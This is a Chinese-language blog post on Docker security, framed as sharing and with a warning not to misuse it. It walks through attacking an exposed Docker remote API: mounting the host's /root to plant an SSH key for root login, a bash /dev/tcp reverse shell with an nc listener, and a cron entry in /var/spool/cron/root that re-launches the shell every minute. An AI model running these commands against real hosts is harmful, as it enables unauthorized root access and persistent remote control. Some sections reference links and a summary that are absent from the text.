一直以来用 docker 做了挺多的事情,docker 的出现,方便我们的同时,也存在一些安全问题,通过查看了一些 docker 安全相关的文章,就在这里跟大家简单分享一下。
一般来说,我们的 docker 应该是都放在内网里面,不会轻易对外暴露,但其实 docker 是可以开启远程访问的,开启远程访问的好处就是可以随时操作,坏处就是处理不好也给了黑客可乘之机。下面先简单介绍一下如何开启远程访问 docker
这里我们采用的是 18.06.0-ce 版本。不同版本可能有不同的表现
vim /etc/systemd/system/multi-user.target.wants/docker.service
# 添加
ExecStart=/usr/bin/dockerd --registry-mirror=https://rpwutt5n.mirror.aliyuncs.com -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375
以上简单的两句即可开启 docker 的远程访问,方便我们后面实验的一些复现。
我发现很多的人理解 docker 的方式是将 docker 理解成一个虚拟机,认为在 docker 里面的任何事情对于宿主机没有危害,这其实是个误区,当然,这里我们就不纠结 docker 是一个什么东西了,我们通过实验复现一下 docker 危险的地方
这个是 docker 很常见的功能,现在我们开启了远程访问 docker 的功能。我们看一下能够做什么
docker -H tcp://192.168.31.215:2375 version
docker -H tcp://192.168.31.215:2375 run --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -v /root:/root -d mysql:5.6
我们挂载了一个 root 文件夹,因为 docker 很多时候是 root 权限,所以是可以往 root 文件夹写入文件
docker -H tcp://192.168.31.215:2375 exec -it mysql /bin/bash
# mkdir .ssh
# cd .ssh
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDm2HYqppANgDf9zxpulqLgoLfc....9GxkweW7NZq99pVUao/rHp5ONjZfwHJQ3kQsmm2phoR9USbicPvuk4AUuKw== axxxxxx@gamil.com" > authorized_keys
经过上面操作,我们往服务器真实主机写入了公钥,然后成功以 root 权限登录了系统。
其实原理跟上面是一样的,也是利用挂载文件夹,进行任意文件写入,只不过利用的方式不同而已。
首先我们先理解一下什么是反弹 shell,这个词在很多的安全文章里面反复谈到。
大家其实都应该用过 ssh 连接 Linux 服务器,通过 ssh xxx@xxxx,这就是正向连接。
而黑客不一样,黑客是通过各种奇怪的方式进入了系统内部,这台电脑可能是在内网里面,没有公开的 IP 地址,就跟家里的电脑一样,没有配置内网穿透,别人是无论如何也连接不到,这个时候,我们就要配置让内网的电脑主动连接我们部署在外网的电脑,这也就是反弹 shell。
下面看一下操作:
首先在我们外网的电脑,起一个监听的端口
yum install -y nc
nc -l -vv -p 1234
然后在被入侵的电脑里面,起一个反弹 shell,这里我们就采用最经典的方式
# /dev/tcp/192.168.31.215代表新建了一个tcp的连接
# 0>&1 表示将标准输入重定向到标准输出中
# 最终命令为:
bash -i >& /dev/tcp/192.168.31.215/1234 0>&1
# 这句命令的意思是将本服务器上的所有输入和输出重定向到目标服务器上。
就这样在我们外网的主机,就接受到了受害者传过来的 shell,我们就可以进行任何的操作了。
然后是 Linux 中 cron,想必用过的老司机都很熟悉,这是一个定时的 job。
在 centos 中,我们可以使用以下命令操作 cron job
crontab -e
参数说明:
字段名称 | 说明 | 取值范围 |
---|---|---|
分钟 | 每小时的第几分钟执行 | 0-59 |
小时 | 每日的第几个小时执行 | 0-23 |
日期 | 每月的第几天执行 | 1-31 |
月历 | 每年的第几月执行 | 1-12 |
星期 | 每周的第几天执行 | 0-6 |
命令名称 | 欲执行的命令及参数 |
符号说明:
符号 | 说明 |
---|---|
* | 表示任何时刻 |
, | 表示分割。比如 1,2,5 就是星期一,星期二,星期五 |
- | 表示一个段,如第二段里: 1-5,就表示 1 到 5 点 |
/n | 表示每个 n 的单位执行一次,如第二段里,*/1, 就表示每隔 1 个小时执行一次命令。也可以写成 1-23/1. |
我们可以使用以上创建 docker 的方式,挂载真实主机的 /var/spool/cron 到 docker 里面,然后借机写入反弹 shell 的命令,然后就可以定时触发真实服务器的 cron 反弹 shell
# /var/spool/cron/root
* * * * * bash -i >& /dev/tcp/192.168.31.215/1234 0>&1
这一句命令表示每分钟反弹一次 shell。
这个主要存在于一些老旧的镜像并没有及时的进行 patch,导致存在漏洞,从而导致黑客进入 docker 内部,将之做为跳板,进行内网进一步渗透。
具体可以参考:
当然上面都是一些旧的公开的漏洞 POC,大家权当扩充视野,也不要利用这些东西做坏事。
总结一下 docker 主要漏洞
写着写着有点跑题了,以上有些点写的不够深入,也写的不是特别全面,大家喜欢可以补充一二或者权当了解了解。